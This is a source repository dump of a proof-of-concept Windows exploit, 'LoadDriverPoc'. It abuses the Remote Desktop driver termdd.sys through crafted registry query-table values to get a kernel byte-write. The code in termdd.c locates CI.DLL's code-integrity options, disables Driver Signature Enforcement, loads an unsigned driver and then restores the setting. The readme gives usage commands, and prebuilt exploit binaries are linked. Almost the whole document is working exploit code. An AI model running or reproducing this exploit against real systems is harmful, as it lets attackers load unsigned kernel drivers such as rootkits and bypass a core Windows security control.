├── exploit-bin
├── Oldtermdd.sys
├── TestDrvNoSig.sys
├── LoadDriverPoc.exe
└── kb4499175termdd.sys
├── LoadDriverPoc
├── termdd.h
├── LoadDriverPoc.vcxproj.user
├── main.c
├── LoadDriverPoc.vcxproj.filters
├── LoadDriverPoc.vcxproj
└── termdd.c
├── readme.md
└── LoadDriverPoc.sln
/exploit-bin/Oldtermdd.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/Oldtermdd.sys
--------------------------------------------------------------------------------
/exploit-bin/TestDrvNoSig.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/TestDrvNoSig.sys
--------------------------------------------------------------------------------
/exploit-bin/LoadDriverPoc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/LoadDriverPoc.exe
--------------------------------------------------------------------------------
/exploit-bin/kb4499175termdd.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/kb4499175termdd.sys
--------------------------------------------------------------------------------
/LoadDriverPoc/termdd.h:
--------------------------------------------------------------------------------
1 | BOOL UnloadDriver(const WCHAR *path, int hidden);
2 | BOOL LoadDriver(const WCHAR *loader, const WCHAR *driver, int hidden);
3 |
--------------------------------------------------------------------------------
/LoadDriverPoc/LoadDriverPoc.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # exploit remote desktop drv
2 | termdd.sys support kb4499175
3 |
4 | # test environment
5 | win7 x64 7601
6 | Uac(Closed)
7 | LoadDriverPoc debug x64
8 |
9 | # how to test
10 | Demonstrated the use of this vulnerability to load unsignature drivers
11 | LoadDriverPoc.exe termddsysName UnsignatureDriverName
12 | LoadDriverPoc.exe OldTermdd.sys TestDrvNoSig.sys(Load)
13 | LoadDriverPoc.exe TestDrvNoSig.sys(Unload)
14 | #
15 | 1.No worth
16 | 2.need uac bypass
17 | 3.any address read and write
18 |
19 | Analysis report:
20 | https://bbs.pediy.com/thread-252411.htm
21 |
--------------------------------------------------------------------------------
/LoadDriverPoc/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "termdd.h"
5 |
6 | int wmain(int argc, WCHAR **argv)
7 | {
8 | HRESULT ret;
9 | if (argc == 3) {
10 | if (!LoadDriver(argv[1], argv[2], 0)) {
11 | char buf[256];
12 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(),
13 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 255, NULL);
14 | printf("Patch Failed: %s\n", buf);
15 | return 1;
16 | }
17 | ret = GetLastError();
18 | if (ret) {
19 | printf("Driver Error - %08x\n", GetLastError());
20 | }
21 | else {
22 | printf("Driver Loaded!\n");
23 | }
24 | return 0;
25 | }
26 | if (argc == 2) {
27 | if (UnloadDriver(argv[1], 0))
28 | printf("Driver Unloaded!\n");
29 | else
30 | printf("Error Unloading!\n");
31 | }
32 | else {
33 | printf("Usage:\n\n"
34 | "TOOL.exe DRIVER.sys DRIVER.sys - Load Driver!\n"
35 | "TOOL.exe DRIVER.sys - Unload Driver!\n"
36 | );
37 | }
38 | return 0;
39 | }
40 |
--------------------------------------------------------------------------------
/LoadDriverPoc/LoadDriverPoc.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 | 源文件
23 |
24 |
25 |
26 |
27 | 头文件
28 |
29 |
30 |
--------------------------------------------------------------------------------
/LoadDriverPoc.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoadDriverPoc", "LoadDriverPoc\LoadDriverPoc.vcxproj", "{BD4CF611-5BF2-40B6-977D-393C9B4AD208}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x64.ActiveCfg = Debug|x64
17 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x64.Build.0 = Debug|x64
18 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x86.ActiveCfg = Debug|Win32
19 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x86.Build.0 = Debug|Win32
20 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x64.ActiveCfg = Release|x64
21 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x64.Build.0 = Release|x64
22 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x86.ActiveCfg = Release|Win32
23 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/LoadDriverPoc/LoadDriverPoc.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}
23 | Win32Proj
24 | LoadDriverPoc
25 | 8.1
26 |
27 |
28 |
29 | Application
30 | true
31 | v140
32 | Unicode
33 |
34 |
35 | Application
36 | false
37 | v140
38 | true
39 | Unicode
40 |
41 |
42 | Application
43 | true
44 | v140
45 | Unicode
46 | Static
47 |
48 |
49 | Application
50 | false
51 | v140
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | false
93 |
94 |
95 | Console
96 | true
97 |
98 |
99 |
100 |
101 |
102 |
103 | Level3
104 | Disabled
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | false
107 |
108 |
109 | Console
110 | true
111 | ntdll.lib;Shlwapi.lib;%(AdditionalDependencies)
112 |
113 |
114 |
115 |
116 | Level3
117 |
118 |
119 | MaxSpeed
120 | true
121 | true
122 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
123 | true
124 |
125 |
126 | Console
127 | true
128 | true
129 | true
130 |
131 |
132 |
133 |
134 | Level3
135 |
136 |
137 | MaxSpeed
138 | true
139 | true
140 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
141 | true
142 |
143 |
144 | Console
145 | true
146 | true
147 | true
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/LoadDriverPoc/termdd.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
7 | #define SystemModuleInformation 0xb
8 | #define SystemCodeIntegrityInformation 0x67
9 |
10 | #define EQUALS(a,b) (RtlCompareMemory(a,b,sizeof(b)-1)==(sizeof(b)-1))
11 | #define NT_MACHINE L"\\Registry\\Machine\\"
12 | #define SVC_BASE NT_MACHINE L"System\\CurrentControlSet\\Services\\"
13 |
14 | typedef struct {
15 | HANDLE Section;
16 | PVOID MappedBase;
17 | PVOID ImageBase;
18 | ULONG ImageSize;
19 | ULONG Flags;
20 | USHORT LoadOrderIndex;
21 | USHORT InitOrderIndex;
22 | USHORT LoadCount;
23 | USHORT OffsetToFileName;
24 | UCHAR FullPathName[256];
25 | } RTL_PROCESS_MODULE_INFORMATION;
26 |
27 | typedef struct {
28 | ULONG NumberOfModules;
29 | RTL_PROCESS_MODULE_INFORMATION Modules[1];
30 | } RTL_PROCESS_MODULES;
31 |
32 | typedef struct {
33 | PVOID QueryRoutine;
34 | ULONG Flags;
35 | PCWSTR Name;
36 | PVOID EntryContext;
37 | ULONG DefaultType;
38 | PVOID DefaultData;
39 | ULONG DefaultLength;
40 | } RTL_QUERY_REGISTRY_TABLE;
41 |
42 | NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING);
43 | NTSTATUS NTAPI NtUnloadDriver(PUNICODE_STRING);
44 | NTSTATUS NTAPI RtlCreateRegistryKey(ULONG,PWSTR);
45 | NTSTATUS NTAPI RtlWriteRegistryValue(ULONG,PCWSTR,PCWSTR,ULONG,PVOID,ULONG);
46 | NTSTATUS NTAPI NtOpenKey(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES);
47 | NTSTATUS NTAPI NtDeleteKey(HANDLE);
48 | NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN);
49 |
50 | static void *addr_ci_orig;
51 | static void *addr_ci_opt;
52 | static void *addr_key;
53 | static WCHAR dbuf[MAX_PATH];
54 | static WCHAR lbuf[MAX_PATH];
55 |
56 |
57 | static ULONG_PTR get_mod_base(char *name)
58 | {
59 | int i;
60 | RTL_PROCESS_MODULES *m;
61 | DWORD got = 0;
62 |
63 | NTSTATUS ret = NtQuerySystemInformation(
64 | SystemModuleInformation, NULL, 0, &got);
65 | if (ret != STATUS_INFO_LENGTH_MISMATCH)
66 | return 0;
67 |
68 | m = malloc(got);
69 | if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got))) {
70 | free(m);
71 | return 0;
72 | }
73 |
74 | for (i = 0; i < m->NumberOfModules; i++) {
75 | RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i;
76 | if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName)) {
77 | ULONG_PTR ret = (ULONG_PTR)p->ImageBase;
78 | free(m);
79 | return ret;
80 | }
81 | }
82 | free(m);
83 | return 0;
84 | }
85 |
86 | static ULONG_PTR ci_analyze()
87 | {
88 | MEMORY_BASIC_INFORMATION info;
89 | HINSTANCE ci;
90 | ULONG_PTR base = get_mod_base("CI.DLL");
91 | WCHAR path[MAX_PATH];
92 | ULONG_PTR mod, ci_opt=0,key=0;
93 | BYTE *p;
94 | int i;
95 |
96 | wcscpy(path + GetSystemDirectoryW(path, MAX_PATH), L"\\CI.DLL");
97 | ci = LoadLibraryExW(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
98 | if (!ci) goto meh;
99 |
100 | p = (void*)GetProcAddress(ci, "CiInitialize");
101 | mod = (ULONG_PTR)ci;
102 |
103 | // find jmp CipInitialize
104 | for (i = 0; i < 100; i++, p++) {
105 | // jmp/call forwardnearby
106 | if (((p[-1] & 0xfe) == 0xe8) && ((!(p[2] | p[3])) || ((p[2] & p[3]) == 0xff))) {
107 | BYTE *t = p + 4 + *((DWORD*)p);
108 | // Don't eat the security cookie
109 | // mov rax, [rip+something]
110 | if (EQUALS(t, "\x48\x8b\x05"))
111 | continue;
112 | goto cipinit_found;
113 | }
114 | }
115 | goto meh;
116 | cipinit_found:
117 | p = p + 4 + *((DWORD*)p);
118 | for (i = 0; i < 100; i++, p++) {
119 | // mov ci_Options, ecx; check the relip points back and close
120 | if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) {
121 | ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p);
122 | goto found_ci;
123 | }
124 | }
125 | goto meh;
126 | found_ci:
127 | // Scratch space we use to stash original ci_Options into
128 | if (!VirtualQuery((void*)ci_opt, &info, sizeof(info)))
129 | goto meh;
130 | addr_ci_orig = (void*)(((ULONG_PTR)info.BaseAddress + info.RegionSize - 4) - mod + base);
131 | // Some dummy, unknown key
132 | p = (void*)(mod + 4096);
133 | // key address must incorporate RTL_QUERY_REGISTRY_DIRECT !
134 | while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p) & 0x20))) p++;
135 | addr_key = (void*)((ULONG_PTR)p - mod + base);
136 | addr_ci_opt = (void*)(ci_opt - mod + base);
137 | if (ci) FreeLibrary(ci);
138 | return 1;
139 | meh:
140 | if (ci) FreeLibrary(ci);
141 | SetLastError(ERROR_NOT_SUPPORTED);
142 | return 0;
143 | }
144 |
145 | static int nt_path(WCHAR *dst, const WCHAR *src)
146 | {
147 | wcscpy(dst, L"\\??\\");
148 | wcscat(dst, src);
149 | return wcslen(dst)*2+2;
150 | }
151 |
152 | static void fname2svc(WCHAR *svc, const WCHAR *name)
153 | {
154 | const WCHAR *i;
155 | int p = sizeof(SVC_BASE)/2-1;
156 | wcscpy(svc, SVC_BASE);
157 | for (i = name; *i; i++)
158 | if (*i == L'\\')
159 | name = i+1;
160 | while (*name && *name != '.')
161 | svc[p++] = *name++;
162 | svc[p] = 0;
163 | }
164 |
165 | static int create_service(WCHAR *svc, const WCHAR *fname)
166 | {
167 | WCHAR tmp[MAX_PATH];
168 | NTSTATUS st;
169 | DWORD dw = 1;
170 |
171 | fname2svc(svc, fname);
172 | st = RtlCreateRegistryKey(0, svc);
173 | if (!NT_SUCCESS(st))
174 | return st;
175 | RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, fname));
176 | RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw));
177 | return 0;
178 | }
179 |
180 | static void clear_service(const WCHAR *svc)
181 | {
182 | SHDeleteKeyW(HKEY_LOCAL_MACHINE, svc + sizeof(NT_MACHINE)/2-1);
183 | }
184 |
185 | static BOOL dse_status()
186 | {
187 | DWORD infoci[2] = { sizeof(infoci) };
188 | DWORD dw = sizeof(infoci);
189 | NTSTATUS ret = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw);
190 | return (infoci[1] & 3) == 1;
191 | }
192 |
193 | static NTSTATUS do_loaddriver(const WCHAR *n)
194 | {
195 | UNICODE_STRING su;
196 | RtlInitUnicodeString(&su, n);
197 | return NtLoadDriver(&su);
198 | }
199 | static NTSTATUS do_unloaddriver(const WCHAR *n)
200 | {
201 | UNICODE_STRING su;
202 | RtlInitUnicodeString(&su, n);
203 | return NtUnloadDriver(&su);
204 | }
205 |
206 |
207 | // Copy 1 byte from -> to -> backup
208 | static NTSTATUS trigger_exploit(WCHAR *svc, int method, void *from, void *to, void *backup)
209 | {
210 |
211 | struct {
212 | UINT64 pad;
213 | RTL_QUERY_REGISTRY_TABLE tab[4];
214 | } buf;
215 |
216 | RTL_QUERY_REGISTRY_TABLE *t;
217 | //sizeof(RTL_QUERY_REGISTRY_TABLE);
218 |
219 | // VC++ is phenomenally stupid, so this has to be a bit long winded
220 | memset(&buf, 0, sizeof(buf));
221 | t = &buf.tab[2];
222 | t->Flags = 32;
223 | t->Name = addr_key;
224 | t->EntryContext = backup;
225 | t->DefaultType = REG_DWORD;
226 | t->DefaultData = to;
227 | t->DefaultLength = 1;
228 |
229 | t = &buf.tab[3];
230 | t->Flags = 32;
231 | t->Name = addr_key;
232 | t->EntryContext = to;
233 | t->DefaultType = REG_DWORD;
234 | t->DefaultData = from;
235 | t->DefaultLength = 1;
236 |
237 | printf("0x%llx 0x%llx\n",to,from);
238 |
239 | RtlWriteRegistryValue(0, svc, L"FlowControlDisable", REG_SZ, L"x", 4);
240 | method *= 4;
241 | RtlWriteRegistryValue(0, svc, L"FlowControlDisplayBandwidth", REG_BINARY,
242 | (void*)(((BYTE*)buf.tab)+method), sizeof(buf.tab)-method);
243 |
244 | do_unloaddriver(svc);
245 | return do_loaddriver(svc);
246 | }
247 |
248 | static NTSTATUS nt_ok(NTSTATUS st)
249 | {
250 | SetLastError(RtlNtStatusToDosError(st));
251 | return NT_SUCCESS(st);
252 | }
253 |
254 | BOOL LoadDriver(const WCHAR *_loader, const WCHAR *_driver, int hidden)
255 | {
256 | WCHAR loader[MAX_PATH];
257 | WCHAR driver[MAX_PATH];
258 | BOOLEAN old;
259 |
260 | if (!ci_analyze())
261 | return 0;
262 |
263 | if (!nt_ok(RtlAdjustPrivilege(10, 1, 0, &old)))
264 | return 0;
265 |
266 | if (!GetFullPathNameW(_loader, MAX_PATH, loader, NULL))
267 | return 0;
268 | if (!GetFullPathNameW(_driver, MAX_PATH, driver, NULL))
269 | return 0;
270 |
271 | if (!nt_ok(create_service(dbuf, driver)))
272 | return 0;
273 | /*if (!dse_status()) {
274 | return nt_ok(do_loaddriver(dbuf));
275 | }*/
276 | if (!nt_ok(create_service(lbuf, loader)))
277 | return 0;
278 | trigger_exploit(lbuf, -1, (BYTE*)addr_key + 2, addr_ci_opt, addr_ci_orig);
279 | if (dse_status()) {
280 | trigger_exploit(lbuf, 1, (BYTE*)addr_key + 2, addr_ci_opt, addr_ci_orig);
281 | if (dse_status()) {
282 | SetLastError(ERROR_NOT_SUPPORTED);
283 | return 0;
284 | }
285 | }
286 | NTSTATUS sav = do_loaddriver(dbuf);
287 |
288 | trigger_exploit(lbuf, -1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig-4);
289 | if (!dse_status())
290 | trigger_exploit(lbuf, 1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig-4);
291 | //trigger_exploit(lbuf, 1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig - 4);//
292 | do_unloaddriver(lbuf);
293 | clear_service(lbuf);
294 | if ((!NT_SUCCESS(sav)) || (hidden))
295 | clear_service(dbuf);
296 | nt_ok(sav);
297 | return 1;
298 | }
299 |
300 | BOOL UnloadDriver(const WCHAR *path, int hidden)
301 | {
302 | NTSTATUS st;
303 | BOOLEAN old;
304 |
305 | if (!nt_ok(RtlAdjustPrivilege(10, 1, 0, &old)))
306 | return 0;
307 |
308 | if (path && hidden)
309 | create_service(dbuf, path);
310 | fname2svc(dbuf, path);
311 | st = do_unloaddriver(dbuf);
312 | if (hidden)
313 | clear_service(dbuf);
314 | if (nt_ok(st)) {
315 | clear_service(dbuf);
316 | return 1;
317 | }
318 | return 0;
319 | }
320 |
321 |
322 |
--------------------------------------------------------------------------------